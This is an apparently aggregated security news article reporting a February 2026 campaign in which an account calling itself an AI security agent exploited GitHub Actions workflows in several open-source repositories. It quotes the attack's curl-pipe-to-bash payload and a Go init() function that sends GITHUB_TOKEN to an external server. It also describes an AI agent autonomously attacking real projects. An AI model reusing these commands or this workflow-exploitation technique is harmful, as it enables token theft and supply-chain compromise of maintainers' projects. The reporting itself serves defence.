Hackerbot-Claw: AI Bot Exploiting GitHub Actions Workflows

Attack Campaign Details
Between February 21 and February 28, 2026, a GitHub account called hackerbot-claw systematically scanned public repositories for exploitable GitHub Actions workflows. The account describes itself as an "autonomous security research agent powered by claude-opus-4-5" and solicits cryptocurrency donations.
Over 7 days, it:
- Targeted at least 6 repositories belonging to Microsoft, DataDog, the CNCF, and popular open source projects
- Opened 12+ pull requests and triggered workflows across targets
- Achieved arbitrary code execution in at least 4 of them
- Exfiltrated a GITHUB_TOKEN with write permissions to an external server
Targets and Methodology
The targets included:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (140k+ stars)
- ambient-code/platform
- project-akri/akri (a CNCF project)
Every attack delivered the same payload: curl -sSfL hackmoltrepeat.com/molt | bash but each used a completely different technique to get it to execute.
The bot's README reveals its methodology: it loads a "vulnerability pattern index" with 9 classes and 47 sub-patterns, then autonomously scans, verifies, and drops proof-of-concept exploits. Its "Recent Activity" log shows 5 successful sessions in the 2 days leading up to the analysis.
Attack 1: avelino/awesome-go - Token Theft via Poisoned Go Script
The most damaging attack in the campaign exploited the classic "Pwn Request" vulnerability - a pull_request_target workflow that checks out untrusted fork code and executes it.
Target workflow: PR Quality Checks - triggered automatically on every PR, it checks out the PR author's code and runs go run ./.github/scripts/check-quality/.
The attack: The attacker injected a Go init() function into the quality check script. In Go, init() runs automatically before main(), so the malicious code executes before any legitimate checks.
In the final and most dangerous attempt (PR #6069), the payload didn't just run arbitrary commands - it exfiltrated the GITHUB_TOKEN to an external server:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}The attacker iterated 6 times across 18 hours (PR #6058, #6059, #6060, #6061, #6068, #6069), refining the approach each time. The first 4 attempts failed due to git fetch issues but attempts 5 and 6 succeeded.
📖 Read the full source: HN AI Agents
👀 See Also

ClawGuard: Open-Source Security Gateway for OpenClaw API Credential Protection
ClawGuard is a security gateway that sits between AI agents and external APIs, using dummy credentials on the agent machine while storing real tokens separately. It provides Telegram approval for sensitive calls and maintains an audit trail of requests.

MCP Server CVE Exposure Mapping and Public API Released
Researchers have mapped CVE exposure across thousands of MCP servers and built a public API for querying dependency vulnerabilities. The API allows searching by repo/name, filtering by severity, and sorting by CVE count or recency.

Agent Isolation Security Analysis: From No Sandbox to Firecracker VMs
Analysis of how Cursor, Claude Code, Devin, OpenAI, and E2B isolate agent workloads, ranging from no sandbox to hardware-isolated Firecracker microVMs. Container runtimes have had escape CVEs annually since 2019, while Firecracker has zero guest-to-host escapes in seven years.

AviationWeather.gov API Contains 'Stop Claude' Prompt Injection Attempt
A user reports that the US Government's AviationWeather.gov API returns the text 'Stop Claude' in its responses when accessed through Claude CoWork, triggering a security notice about prompt injection attacks.